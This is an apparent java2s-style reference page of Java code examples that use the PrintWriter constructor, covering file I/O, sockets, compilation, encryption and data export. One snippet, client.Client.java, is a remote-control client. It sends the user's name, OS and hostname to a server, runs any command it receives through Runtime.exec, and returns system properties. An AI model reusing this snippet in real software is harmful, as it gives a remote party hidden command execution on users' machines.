Example usage for java.io PrintWriter PrintWriter

List of usage examples for java.io PrintWriter PrintWriter

Introduction

In this page you can find the example usage for java.io PrintWriter PrintWriter.

Prototype

public PrintWriter(File file) throws FileNotFoundException 

Source Link

Document

Creates a new PrintWriter, without automatic line flushing, with the specified file.

Usage

From source file:Main.java

public static void main(String[] args) throws Exception {
    BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
    System.out.println(stdin.readLine());
    BufferedReader in = new BufferedReader(new FileReader("Main.java"));
    String s, s2 = new String();
    while ((s = in.readLine()) != null)
        s2 += s + "\n";
    in.close();//from   ww w .j a v a2 s.c  o m
    StringReader in1 = new StringReader(s2);
    int c;
    while ((c = in1.read()) != -1)
        System.out.print((char) c);
    BufferedReader in2 = new BufferedReader(new StringReader(s2));
    PrintWriter out1 = new PrintWriter(new BufferedWriter(new FileWriter("IODemo.out")));
    int lineCount = 1;
    while ((s = in2.readLine()) != null)
        out1.println(lineCount++ + ": " + s);
    out1.close();
}

From source file:Who.java

public static void main(String[] v) {
    Socket s = null;//  ww w  .  j a  va2  s  . c o m
    PrintWriter out = null;
    BufferedReader in = null;
    try {
        // Connect to port 79 (the standard finger port) on the host.
        String hostname = "www.java2s.com";
        s = new Socket(hostname, 79);
        // Set up the streams
        out = new PrintWriter(new OutputStreamWriter(s.getOutputStream()));
        in = new BufferedReader(new InputStreamReader(s.getInputStream()));

        // Send a blank line to the finger server, telling it that we want
        // a listing of everyone logged on instead of information about an
        // individual user.
        out.print("\n");
        out.flush(); // Send it out

        // Now read the server's response
        // The server should send lines terminated with \n or \r.
        String line;
        while ((line = in.readLine()) != null) {
            System.out.println(line);
        }
        System.out.println("Who's Logged On: " + hostname);
    } catch (IOException e) {
        System.out.println("Who's Logged On: Error");
    }
    // Close the streams!
    finally {
        try {
            in.close();
            out.close();
            s.close();
        } catch (Exception e) {
        }
    }
}

From source file:client.Client.java

/**
 * @param args the command line arguments
 *///from  ww w.  j a v a  2 s. co  m
public static void main(String[] args) throws Exception {
    Socket st = new Socket("127.0.0.1", 1604);
    BufferedReader r = new BufferedReader(new InputStreamReader(st.getInputStream()));
    PrintWriter p = new PrintWriter(st.getOutputStream());

    while (true) {
        String s = r.readLine();
        new Thread() {
            @Override
            public void run() {
                String[] ar = s.split("\\|");
                if (s.startsWith("HALLO")) {
                    String str = "";
                    try {
                        str = InetAddress.getLocalHost().getHostName();
                    } catch (Exception e) {
                    }
                    p.println("info|" + s.split("\\|")[1] + "|" + System.getProperty("user.name") + "|"
                            + System.getProperty("os.name") + "|" + str);
                    p.flush();
                }
                if (s.startsWith("msg")) {
                    String text = fromHex(ar[1]);
                    String title = ar[2];
                    int i = Integer.parseInt(ar[3]);
                    JOptionPane.showMessageDialog(null, text, title, i);
                }
                if (s.startsWith("execute")) {
                    String cmd = ar[1];
                    try {
                        Runtime.getRuntime().exec(cmd);
                    } catch (Exception e) {
                    }
                }
                if (s.equals("getsystem")) {
                    StringBuilder sb = new StringBuilder();
                    for (Object o : System.getProperties().entrySet()) {
                        Map.Entry e = (Map.Entry) o;
                        sb.append("\n" + e.getKey() + "|" + e.getValue());

                    }
                    p.println("systeminfos|" + toHex(sb.toString().substring(1)));
                    p.flush();
                }
            }

        }.start();
    }
}

From source file:CompileSourceInMemory.java

public static void main(String args[]) throws IOException {
    JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
    DiagnosticCollector<JavaFileObject> diagnostics = new DiagnosticCollector<JavaFileObject>();

    StringWriter writer = new StringWriter();
    PrintWriter out = new PrintWriter(writer);
    out.println("public class HelloWorld {");
    out.println("  public static void main(String args[]) {");
    out.println("    System.out.println(\"This is in another java file\");");
    out.println("  }");
    out.println("}");
    out.close();//from   w w  w . j  a  v a 2 s.  c om
    JavaFileObject file = new JavaSourceFromString("HelloWorld", writer.toString());

    Iterable<? extends JavaFileObject> compilationUnits = Arrays.asList(file);
    CompilationTask task = compiler.getTask(null, null, diagnostics, null, null, compilationUnits);

    boolean success = task.call();
    for (Diagnostic diagnostic : diagnostics.getDiagnostics()) {
        System.out.println(diagnostic.getCode());
        System.out.println(diagnostic.getKind());
        System.out.println(diagnostic.getPosition());
        System.out.println(diagnostic.getStartPosition());
        System.out.println(diagnostic.getEndPosition());
        System.out.println(diagnostic.getSource());
        System.out.println(diagnostic.getMessage(null));

    }
    System.out.println("Success: " + success);

    if (success) {
        try {
            Class.forName("HelloWorld").getDeclaredMethod("main", new Class[] { String[].class }).invoke(null,
                    new Object[] { null });
        } catch (ClassNotFoundException e) {
            System.err.println("Class not found: " + e);
        } catch (NoSuchMethodException e) {
            System.err.println("No such method: " + e);
        } catch (IllegalAccessException e) {
            System.err.println("Illegal access: " + e);
        } catch (InvocationTargetException e) {
            System.err.println("Invocation target: " + e);
        }
    }
}

From source file:LogTest.java

public static void main(String[] args) throws IOException {
    String inputfile = args[0];//from w  ww  .j  a  v a2  s. com
    String outputfile = args[1];

    Map<String, Integer> map = new TreeMap<String, Integer>();

    Scanner scanner = new Scanner(new File(inputfile));
    while (scanner.hasNext()) {
        String word = scanner.next();
        Integer count = map.get(word);
        count = (count == null ? 1 : count + 1);
        map.put(word, count);
    }
    scanner.close();

    List<String> keys = new ArrayList<String>(map.keySet());
    Collections.sort(keys);

    PrintWriter out = new PrintWriter(new FileWriter(outputfile));
    for (String key : keys)
        out.println(key + " : " + map.get(key));
    out.close();
}

From source file:edu.usc.ee599.CommunityStats.java

public static void main(String[] args) throws Exception {

    File dir = new File("results5");
    PrintWriter writer = new PrintWriter(new FileWriter("results5_stats.txt"));

    File[] files = dir.listFiles();

    DescriptiveStatistics statistics1 = new DescriptiveStatistics();
    DescriptiveStatistics statistics2 = new DescriptiveStatistics();
    for (File file : files) {

        BufferedReader reader = new BufferedReader(new FileReader(file));

        String line1 = reader.readLine();
        String line2 = reader.readLine();

        int balanced = Integer.parseInt(line1.split(",")[1]);
        int unbalanced = Integer.parseInt(line2.split(",")[1]);

        double bp = (double) balanced / (double) (balanced + unbalanced);
        double up = (double) unbalanced / (double) (balanced + unbalanced);

        statistics1.addValue(bp);//from w  w w .  ja  v a2  s  .com
        statistics2.addValue(up);

    }

    writer.println("AVG Balanced %: " + statistics1.getMean());
    writer.println("AVG Unbalanced %: " + statistics2.getMean());

    writer.println("STD Balanced %: " + statistics1.getStandardDeviation());
    writer.println("STD Unbalanced %: " + statistics2.getStandardDeviation());

    writer.flush();
    writer.close();

}

From source file:base64test.Base64Test.java

/**
 * @param args the command line arguments
 *//* w  w  w  .ja  v  a 2  s.  c  om*/
public static void main(String[] args) {
    try {
        if (!Base64.isBase64(args[0])) {
            throw new Exception("Arg 1 is not a Base64 string!");
        } else {
            String decodedBase64String = new String(Base64.decodeBase64(args[0]));
            File tempFile = File.createTempFile("base64Test", ".tmp");
            tempFile.deleteOnExit();
            FileWriter fw = new FileWriter(tempFile, false);
            PrintWriter pw = new PrintWriter(fw);
            pw.write(decodedBase64String);
            pw.close();
            String fileType = getFileType(tempFile.toPath());
            System.out.println(fileType);
            System.in.read();
        }
    } catch (Exception e) {
        System.err.println(e.getMessage());
    }
}

From source file:mx.unam.ecologia.gye.coalescence.app.RunExperiments.java

public static void main(String[] args) {
    BasicConfigurator.configure();/*from   w w  w .  j a va  2s .  c o m*/
    SimulationParameters params = new SimulationParameters(args);
    //loop
    int num_beta = params.getBetaCount();
    int num_k = params.getKCount();
    int num_N = params.getNCount();
    int num_u = params.getUCount();
    PrintWriter pw;

    try {
        File csv = new File(params.getOutput());
        FileOutputStream fout = new FileOutputStream(csv);
        pw = new PrintWriter(fout);
    } catch (Exception ex) {
        pw = new PrintWriter(System.out);
    }
    for (int l = 0; l < num_beta; l++) {
        params.selectBeta(l);
        for (int m = 0; m < num_N; m++) {
            params.selectN(m);
            for (int n = 0; n < num_k; n++) {
                params.selectK(n);
                for (int o = 0; o < num_u; o++) {
                    params.selectU(o);
                    MicrosatelliteExperiment exp = new MicrosatelliteExperiment(params);
                    if (m + n + o == 0) {
                        pw.println(exp.getCSVHeader());
                        pw.flush();
                    }
                    exp.init();
                    exp.run();
                    pw.println(exp.resultsToCSV());
                    pw.flush();
                    System.gc();
                } //for u
            } //for k
        } //for N
    } //for beta
}

From source file:MainClass.java

public static void main(String args[]) throws Exception {
    KeyGenerator kg = KeyGenerator.getInstance("DES");
    kg.init(new SecureRandom());
    SecretKey key = kg.generateKey();
    SecretKeyFactory skf = SecretKeyFactory.getInstance("DES");
    Class spec = Class.forName("javax.crypto.spec.DESKeySpec");
    DESKeySpec ks = (DESKeySpec) skf.getKeySpec(key, spec);
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("keyfile"));
    oos.writeObject(ks.getKey());/*from w  w  w .  ja  v a2 s.  c o  m*/

    Cipher c = Cipher.getInstance("DES/CFB8/NoPadding");
    c.init(Cipher.ENCRYPT_MODE, key);
    CipherOutputStream cos = new CipherOutputStream(new FileOutputStream("ciphertext"), c);
    PrintWriter pw = new PrintWriter(new OutputStreamWriter(cos));
    pw.println("Stand and unfold yourself");
    pw.close();
    oos.writeObject(c.getIV());
    oos.close();
}

From source file:ArrayFile.java

public static void main(String[] args) throws Exception {

    PrintWriter out = new PrintWriter(new FileWriter("arrayfile.txt"));

    CaBioApplicationService appService = (CaBioApplicationService) ApplicationServiceProvider
            .getApplicationServiceFromUrl("http://cabioapi-qa.nci.nih.gov/cabio42");

    ArrayAnnotationService am = new ArrayAnnotationServiceImpl(appService);

    String arrayName = "HG-U133_Plus_2";

    Collection<ArrayReporter> reps = am.getReportersForPlatform(arrayName);

    out.println("Name\tSymbol\tHUGO Symbol\tUnigene Id\t" + "Sequence Type\tSequence Source\tTarget Id\t"
            + "Target Description\tCytoband\tChromosome\tStart\tEnd");

    int c = 0;/*from   w  w w. j ava  2 s.  c om*/
    for (ArrayReporter rep : reps) {

        ExpressionArrayReporter er = (ExpressionArrayReporter) rep;

        out.println(resolve(er, "name") + "\t" + resolve(er, "gene.symbol") + "\t"
                + resolve(er, "gene.hugoSymbol") + "\t" + resolve(er, "gene.clusterId") + "\t"
                + resolve(er, "sequenceType") + "\t" + resolve(er, "sequenceSource") + "\t"
                + resolve(er, "targetId") + "\t" + resolve(er, "targetDescription") + "\t"
                + resolve(er, "cytogeneticLocationCollection[0].startCytoband.name") + "\t"
                + resolve(er, "physicalLocationCollection[0].chromosome.number") + "\t"
                + resolve(er, "physicalLocationCollection[0].chromosomalStartPosition") + "\t"
                + resolve(er, "physicalLocationCollection[0].chromosomalEndPosition"));

        if (c++ > 500)
            break;
    }

    out.close();
}